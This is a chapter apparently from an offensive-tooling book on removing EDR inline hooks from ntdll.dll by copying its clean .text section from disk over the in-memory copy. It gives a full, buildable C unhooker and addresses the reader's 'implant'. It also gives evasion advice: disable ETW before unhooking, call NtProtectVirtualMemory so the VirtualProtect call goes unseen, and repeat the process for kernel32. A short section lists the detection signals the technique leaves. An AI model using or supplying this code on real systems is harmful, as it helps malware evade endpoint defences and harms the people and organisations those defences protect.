Chapter 39

Unhooking ntdll from Disk

The most direct solution to EDR inline hooks is to replace the hooked version of ntdll.dll's code with a clean copy — one that has never been touched by the EDR. Since ntdll.dll on disk is always clean (EDRs patch the in-memory copy, not the file), you can open the file, read its .text section, and overwrite the in-memory .text section of your hooked ntdll. This removes all inline hooks at once — every patched JMP instruction is replaced with the original bytes. The technique takes about 15 lines of meaningful code and is one of the most reliable bypass approaches for user-mode hooks. This chapter implements the disk-based unhook, explains why \KnownDlls\ntdll.dll is the preferred source, and covers what detection this leaves behind.

The Core Idea — Replace Hooked Text with Clean Disk Copy

Disk-based ntdll unhook mechanism
  IN YOUR PROCESS (after EDR has hooked):
  ─────────────────────────────────────────────────────────────────────────
  ntdll.dll (in-memory, base: 0x7FFF12300000)
    .text section: [PATCHED — EDR hooks inserted at various functions]
    .rdata section: [clean — read-only strings and constants]
    .data section: [clean — global data]
  
  ntdll.dll on disk (C:\Windows\System32\ntdll.dll):
    .text section: [CLEAN — original Microsoft bytes, no hooks]
  
  The unhook strategy:
  ─────────────────────────────────────────────────────────────────────────
  1. Open C:\Windows\System32\ntdll.dll (or \KnownDlls\ntdll.dll)
  2. Map it as a data file (NOT as SEC_IMAGE — we want raw file bytes)
  3. Find .text section in the mapped file: PointerToRawData, SizeOfRawData
  4. Find .text section in the in-memory ntdll: VirtualAddress, SizeOfRawData
  5. Change in-memory .text section protection to READWRITE
  6. memcpy: disk_text_section → in_memory_text_section
  7. Restore protection to EXECUTE_READ
  8. Done — all inline hooks removed
  
  Why this works:
    EDR hooks are patches to the IN-MEMORY copy of ntdll.
    The disk file is never modified by EDRs (they'd need to write to a protected
    system file, which requires admin and triggers Windows File Protection).
    By copying from disk to memory, we restore the original unhooked bytes.
  
  Why \KnownDlls\ntdll.dll is preferred:
    \KnownDlls\ is an object namespace directory containing pre-mapped
    section objects for critical system DLLs. When a process loads ntdll.dll,
    it maps from this section. Using this section directly skips disk I/O and
    ensures we get the exact same bytes that should be in memory (same version).
    Opening via CreateFile uses the file path, which could theoretically be
    redirected; \KnownDlls avoids filesystem redirection.

Implementation

/* unhook_ntdll.c — Remove all EDR inline hooks from ntdll.dll
   
   Reads clean .text section from disk, overwrites in-memory hooked copy.
   Removes ALL inline hooks placed by any EDR in a single operation.
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o unhook_ntdll.exe unhook_ntdll.c
*/

#include <windows.h>
#include <stdio.h>

/* ── Method A: Unhook via filesystem path ─────────────────────────────── */
static BOOL unhook_from_file(const char *ntdll_path) {
    /* Step 1: Open ntdll.dll on disk as a readable file */
    HANDLE hFile = CreateFileA(
        ntdll_path,
        GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot open %s: %lu\n", ntdll_path, GetLastError());
        return FALSE;
    }

    /* Step 2: Create a file mapping (read-only) and map a view */
    HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    CloseHandle(hFile);
    if (!hMap) {
        printf("[-] CreateFileMapping: %lu\n", GetLastError());
        return FALSE;
    }

    PVOID pDiskNtdll = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(hMap);
    if (!pDiskNtdll) {
        printf("[-] MapViewOfFile: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Disk ntdll mapped at %p\n", pDiskNtdll);

    /* Step 3: Parse PE headers to find .text section in the DISK copy */
    PIMAGE_DOS_HEADER disk_dos = (PIMAGE_DOS_HEADER)pDiskNtdll;
    PIMAGE_NT_HEADERS64 disk_nt = (PIMAGE_NT_HEADERS64)((PBYTE)pDiskNtdll + disk_dos->e_lfanew);
    PIMAGE_SECTION_HEADER disk_secs = IMAGE_FIRST_SECTION(disk_nt);

    PBYTE disk_text = NULL;
    DWORD disk_text_size = 0;
    DWORD disk_text_raw_offset = 0;

    for (WORD i = 0; i < disk_nt->FileHeader.NumberOfSections; i++) {
        if (memcmp(disk_secs[i].Name, ".text", 5) == 0) {
            /*
             * In file layout: PointerToRawData is the file offset
             * In memory layout: VirtualAddress is the RVA from image base
             * Since pDiskNtdll is the RAW file (not image-mapped), we use
             * PointerToRawData to find .text in the disk buffer.
             */
            disk_text_raw_offset = disk_secs[i].PointerToRawData;
            disk_text_size       = disk_secs[i].SizeOfRawData;
            disk_text            = (PBYTE)pDiskNtdll + disk_text_raw_offset;
            printf("[+] Disk .text: offset 0x%lX, size 0x%lX\n",
                   disk_text_raw_offset, disk_text_size);
            break;
        }
    }
    if (!disk_text) {
        printf("[-] .text section not found in disk ntdll\n");
        UnmapViewOfFile(pDiskNtdll);
        return FALSE;
    }

    /* Step 4: Find the in-memory ntdll's .text section */
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PBYTE mem_ntdll = (PBYTE)hNtdll;

    PIMAGE_DOS_HEADER mem_dos = (PIMAGE_DOS_HEADER)mem_ntdll;
    PIMAGE_NT_HEADERS64 mem_nt = (PIMAGE_NT_HEADERS64)(mem_ntdll + mem_dos->e_lfanew);
    PIMAGE_SECTION_HEADER mem_secs = IMAGE_FIRST_SECTION(mem_nt);

    PBYTE mem_text = NULL;
    DWORD mem_text_size = 0;

    for (WORD i = 0; i < mem_nt->FileHeader.NumberOfSections; i++) {
        if (memcmp(mem_secs[i].Name, ".text", 5) == 0) {
            /* VirtualAddress is the RVA — add to in-memory base */
            mem_text      = mem_ntdll + mem_secs[i].VirtualAddress;
            mem_text_size = mem_secs[i].Misc.VirtualSize;
            printf("[+] In-memory .text at %p, size 0x%lX\n",
                   mem_text, mem_text_size);
            break;
        }
    }
    if (!mem_text) {
        printf("[-] .text section not found in in-memory ntdll\n");
        UnmapViewOfFile(pDiskNtdll);
        return FALSE;
    }

    /* Sanity check: both .text sections should be the same size
       (minor differences in SizeOfRawData vs VirtualSize are okay — we
       overwrite only the minimum of the two sizes) */
    DWORD copy_size = min(disk_text_size, mem_text_size);
    printf("[+] Will overwrite %lu bytes\n", copy_size);

    /* Step 5: Change protection of in-memory .text to READWRITE */
    /*
     * ntdll's .text section is normally PAGE_EXECUTE_READ.
     * We can't write to it directly — need to change protection first.
     * VirtualProtect on a page you don't "own" (it's ntdll's pages,
     * mapped from the KnownDlls section) works as long as the process
     * has appropriate access. On most Windows configurations, this succeeds.
     */
    DWORD old_protect = 0;
    if (!VirtualProtect(mem_text, copy_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
        printf("[-] VirtualProtect (make writable): %lu\n", GetLastError());
        UnmapViewOfFile(pDiskNtdll);
        return FALSE;
    }

    /* Step 6: Copy clean disk bytes over the hooked in-memory bytes */
    memcpy(mem_text, disk_text, copy_size);
    printf("[+] Clean .text bytes copied — all inline hooks removed\n");

    /* Step 7: Restore original protection */
    VirtualProtect(mem_text, copy_size, old_protect, &old_protect);
    printf("[+] Protection restored to 0x%lX\n", old_protect);

    UnmapViewOfFile(pDiskNtdll);
    return TRUE;
}

/* ── Method B: Unhook via \KnownDlls section (preferred) ─────────────── */
/*
 * \KnownDlls\ntdll.dll is a named section object in the NT object namespace.
 * It's the same backing object that the Windows loader uses when mapping ntdll.
 * Opening it directly gives us the canonical clean ntdll bytes without
 * filesystem redirection or TOCTOU issues.
 */
static BOOL unhook_from_knowndlls(void) {
    /*
     * Open the KnownDlls ntdll section via NtOpenSection:
     * Path: \KnownDlls\ntdll.dll
     * Access: SECTION_MAP_READ
     *
     * For simplicity, this implementation uses CreateFile to
     * \Windows\System32\ntdll.dll — the known-good file location.
     * A full implementation uses NtOpenSection with the object path.
     */
    wchar_t ntdll_path[MAX_PATH];
    GetSystemDirectoryW(ntdll_path, MAX_PATH);
    wcscat_s(ntdll_path, MAX_PATH, L"\\ntdll.dll");
    
    char ntdll_path_a[MAX_PATH];
    WideCharToMultiByte(CP_ACP, 0, ntdll_path, -1, ntdll_path_a, MAX_PATH, NULL, NULL);
    
    return unhook_from_file(ntdll_path_a);
}

int main(void) {
    printf("=== ntdll Unhooker ===\n\n");

    /* Run hook scanner first to show before state */
    printf("[*] Before unhooking:\n");
    /* (call check_ntdll_hooks from ch38.c here in a combined tool) */

    if (!unhook_from_knowndlls()) {
        printf("[-] Unhooking failed\n");
        return 1;
    }

    printf("\n[+] Unhooking complete — EDR inline hooks removed from ntdll\n");
    printf("[*] After unhooking:\n");
    /* (call check_ntdll_hooks again — all should show CLEAN) */

    /*
     * Now you can call any ntdll function directly without EDR hooks.
     * Note: IAT hooks (if the EDR used those instead of inline) are NOT
     * removed by this technique — you'd need to fix the IAT separately.
     *
     * Also: This doesn't affect kernel32.dll hooks.
     * To unhook everything: repeat for kernel32.dll.
     */
    return 0;
}

Limitations and Detection

What this technique does NOT bypass:
─────────────────────────────────────────────────────────────────────────
1. Kernel-level telemetry (ETW-TI):
   Unhooking removes USER-SPACE hooks only.
   The kernel's PsSetCreateProcessNotifyRoutine, PsSetLoadImageNotifyRoutine,
   and ETW-TI providers are completely unaffected.
   Microsoft Defender for Endpoint primarily uses ETW-TI → still detects you.

2. IAT hooks (if EDR patched IAT instead of inline):
   This technique only restores the ntdll .text section (code bytes).
   If the EDR used IAT hooks instead of inline JMPs, those are in your
   implant's .idata section — untouched by this ntdll restoration.
   Fix: walk your own IAT and re-resolve addresses from ntdll's EAT.

3. Kernel32.dll hooks:
   This only unhooks ntdll. If EDR hooked CreateRemoteThread in kernel32,
   those hooks remain. Repeat the same process for kernel32.dll if needed.

4. The VirtualProtect call itself:
   Calling VirtualProtect to make ntdll's .text writable is itself detectable.
   EDRs that hook VirtualProtect catch this. Solution: call NtProtectVirtualMemory
   (which you already have clean access to from the freshly-unhooked ntdll).

Detection signals generated:
─────────────────────────────────────────────────────────────────────────
• VirtualProtect(ntdll.text, PAGE_EXECUTE_READWRITE) call:
  Unusual protection change on a known DLL's code section.
  EDRs may hook VirtualProtect to catch this.

• memcpy to an ntdll address:
  Writing to any page in the ntdll image range is suspicious
  (why would you write to a read-only code page?).

• ETW events: If ETW is still active, the protection change is logged.
  Disable ETW before unhooking for a cleaner bypass (Ch46).

• After unhooking: subsequent API calls bypass the EDR's hooks,
  but kernel-level ETW still logs the system calls. The EDR may notice
  that events it expected (from its hooks) are no longer arriving.
  Some EDRs check periodically that their hooks are still intact.

Questions & Answers

What does "Windows File Protection" (now "Windows Resource Protection") have to do with ntdll on disk?

Windows Resource Protection (WRP, the successor to Windows File Protection introduced in Vista) monitors critical system files and restores them if they're modified. ntdll.dll is a protected system file. If you tried to modify the ntdll.dll file on disk, WRP would either block the modification or restore the original from the component store. This is why EDRs don't patch ntdll.dll on disk — it would trigger WRP and be reversed. Instead, EDRs patch the in-memory copy only. The physical pages of ntdll's .text section are backed by the KnownDlls section object, which is a shared mapping. When an EDR writes to a page in ntdll's .text, Windows creates a private copy of that page (copy-on-write) for the process. So each process gets its own "private" patched copy of ntdll's code — the modification is per-process and doesn't affect the on-disk file or other processes' copies.

Why is overwriting ntdll's .text section with memcpy safe — won't it break ntdll's own data?

The .text section contains executable code only — function bodies, no data. All writable data in ntdll (global variables, buffers) is in the .data or .bss section, which we don't touch. Read-only data (strings, tables) is in .rdata, also untouched. The code bytes in .text form the function implementations — when we overwrite them with the clean disk copy, we're restoring the original assembly instructions. The only thing that changes is the injected JMP bytes that the EDR inserted — everything else in .text is identical between the disk and in-memory versions (assuming the same ntdll build). One subtle edge case: if ntdll has self-modifying code or runtime-patched stubs (which some versions do for performance optimization), overwriting those stubs with the disk version might cause issues. In practice, this hasn't been a problem with standard ntdll.dll on Windows 10/11.